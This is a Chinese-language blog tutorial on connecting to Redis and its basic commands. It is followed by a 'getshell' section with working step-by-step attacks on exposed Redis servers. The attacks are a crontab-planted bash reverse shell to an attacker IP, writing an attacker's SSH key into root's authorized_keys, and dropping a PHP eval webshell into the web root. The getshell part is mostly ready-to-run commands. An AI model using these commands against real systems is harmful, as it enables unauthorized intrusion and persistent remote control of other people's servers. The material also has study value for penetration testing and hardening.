redis服务连接及常规操作和redis服务getshell

2024-05-13 13:20

本文主要是介绍redis服务连接及常规操作和redis服务getshell,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简介

Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

redis服务于传统服务器不同,redis是内存数据库,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作,因此redis被广泛应用于缓存。

连接redis服务

首先下载redis-cli(专用于redis服务的命令程序)

下载程序

wget http://download.redis.io/redis-stable.tar.gz

解压

tar -zxf redis-stable.tar.gz

编译

cd redis-stable  #进入目录

make                #编译文件

进入解压好的文件夹(这里我将此程序换了位置改了名字)

编译文件

此时会出现很多数据,不要退出,可能会跑一会儿

创建链接

编译完成后需要将src目录下的redis_cli程序创建一个链接,方便后续利用

ln -s /home/kali/tools/redis_连接工具/src/redis-cli /usr/local/bin/redis-cli

这样就能再任何目录运行此命令

redis的一些常用命令

  1. 启动 Redis 服务:

    redis-server
  2. 连接到 Redis 服务:

    redis-cli
  3. 设置键值对:

    SET key value
  4. 获取键对应的值:

    GET key
  5. 删除键值对:

    DEL key
  6. 检查键是否存在:

    EXISTS key
  7. 设置键的过期时间:

    EXPIRE key seconds
  8. 查看键的剩余过期时间:

    TTL key
  9. 查看键的类型:

    TYPE key
  10. 获取所有键:

    KEYS pattern
  11. 设置列表:

    LPUSH key value1 [value2 ...]
  12. 获取列表:

    LRANGE key start stop
  13. 设置哈希表:

    HSET key field value
  14. 获取哈希表中的值:

    HGET key field
  15. 设置集合:

    SADD key member1 [member2 ...]
  16. 获取集合:

    SMEMBERS key
  17. 获取有关Redis服务器的信息和统计信息:

    info
  18. 获取索引为 0 的数据库中键的数量

    dbsize

redis-getshell

常规的拿到shell的方式有三种

  1. 写定时任务拿到shell
  2. 通过写ssh key的方式拿到shell
  3. 直接再目录里写webshell

写定时任务拿到shell

其实和常规写定时任务是一样的道理,也都是写个文件到crontalbs这些定时文件夹里,或者直接覆盖crontab

  1. 第一步:上线redis

    redis-cli -h 10.129.136.187 -p 6379

  2. 第二步:设置文件夹路径为/var/spool/cron/crontabs

    config set dir /var/spool/cron/crontabs

  3. 第三步:设置备份文件名

    config set dbfilename getshell

  4. 第四步:设置键对值

    set shell '\n\n\n*****bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1'

  5. 第五步:保存

    save

然后等待一会儿等攻击机监听到流量即可

通过写ssh key的方式拿到shell

此方法成功的先决条件是

  1. redis服务是以root登录的
  2. 开始22端口并且允许使用密钥登录
  1. 首先攻击机本地生成一个公钥文件

    ssh-keygen -t rsa

  2. 然后得到一个公钥和私钥
  3. 给公钥添加换行符写到txt文件里

    (echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt

  4. 写入公钥到被攻击机

    config set dir /root/.ssh
    config set dbfilename 'authorized_keys'
    config set shell 'pub.txt的值'
    save
  5. 最后使用攻击机生成的私钥登录即可
    ssh -i id_rsa root@被攻击机ip

直接写webshell

先决条件

  1. 已知网站根目录
  2. 登录redis的用户在网站根目录有可写权限
  1. config set dir /var/www/123.com/html
  2. config set dbfilename shell.php
  3. set shell '<?= eval($_POST[a]);>'
  4. save

后续直接使用蚁剑冰蝎这些上线即可

这篇关于redis服务连接及常规操作和redis服务getshell的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/985819

相关文章

java.sql.SQLTransientConnectionException连接超时异常原因及解决方案

《java.sql.SQLTransientConnectionException连接超时异常原因及解决方案》:本文主要介绍java.sql.SQLTransientConnectionExcep... 目录一、引言二、异常信息分析三、可能的原因3.1 连接池配置不合理3.2 数据库负载过高3.3 连接泄漏

Redis 的 SUBSCRIBE命令详解

《Redis的SUBSCRIBE命令详解》Redis的SUBSCRIBE命令用于订阅一个或多个频道,以便接收发送到这些频道的消息,本文给大家介绍Redis的SUBSCRIBE命令,感兴趣的朋友跟随... 目录基本语法工作原理示例消息格式相关命令python 示例Redis 的 SUBSCRIBE 命令用于订

Java实现在Word文档中添加文本水印和图片水印的操作指南

《Java实现在Word文档中添加文本水印和图片水印的操作指南》在当今数字时代,文档的自动化处理与安全防护变得尤为重要,无论是为了保护版权、推广品牌,还是为了在文档中加入特定的标识,为Word文档添加... 目录引言Spire.Doc for Java:高效Word文档处理的利器代码实战:使用Java为Wo

sky-take-out项目中Redis的使用示例详解

《sky-take-out项目中Redis的使用示例详解》SpringCache是Spring的缓存抽象层,通过注解简化缓存管理,支持Redis等提供者,适用于方法结果缓存、更新和删除操作,但无法实现... 目录Spring Cache主要特性核心注解1.@Cacheable2.@CachePut3.@Ca

sysmain服务可以禁用吗? 电脑sysmain服务关闭后的影响与操作指南

《sysmain服务可以禁用吗?电脑sysmain服务关闭后的影响与操作指南》在Windows系统中,SysMain服务(原名Superfetch)作为一个旨在提升系统性能的关键组件,一直备受用户关... 在使用 Windows 系统时,有时候真有点像在「开盲盒」。全新安装系统后的「默认设置」,往往并不尽编

Redis实现高效内存管理的示例代码

《Redis实现高效内存管理的示例代码》Redis内存管理是其核心功能之一,为了高效地利用内存,Redis采用了多种技术和策略,如优化的数据结构、内存分配策略、内存回收、数据压缩等,下面就来详细的介绍... 目录1. 内存分配策略jemalloc 的使用2. 数据压缩和编码ziplist示例代码3. 优化的

redis-sentinel基础概念及部署流程

《redis-sentinel基础概念及部署流程》RedisSentinel是Redis的高可用解决方案,通过监控主从节点、自动故障转移、通知机制及配置提供,实现集群故障恢复与服务持续可用,核心组件包... 目录一. 引言二. 核心功能三. 核心组件四. 故障转移流程五. 服务部署六. sentinel部署

Python自动化处理PDF文档的操作完整指南

《Python自动化处理PDF文档的操作完整指南》在办公自动化中,PDF文档处理是一项常见需求,本文将介绍如何使用Python实现PDF文档的自动化处理,感兴趣的小伙伴可以跟随小编一起学习一下... 目录使用pymupdf读写PDF文件基本概念安装pymupdf提取文本内容提取图像添加水印使用pdfplum

Python 基于http.server模块实现简单http服务的代码举例

《Python基于http.server模块实现简单http服务的代码举例》Pythonhttp.server模块通过继承BaseHTTPRequestHandler处理HTTP请求,使用Threa... 目录测试环境代码实现相关介绍模块简介类及相关函数简介参考链接测试环境win11专业版python

Python从Word文档中提取图片并生成PPT的操作代码

《Python从Word文档中提取图片并生成PPT的操作代码》在日常办公场景中,我们经常需要从Word文档中提取图片,并将这些图片整理到PowerPoint幻灯片中,手动完成这一任务既耗时又容易出错,... 目录引言背景与需求解决方案概述代码解析代码核心逻辑说明总结引言在日常办公场景中,我们经常需要从 W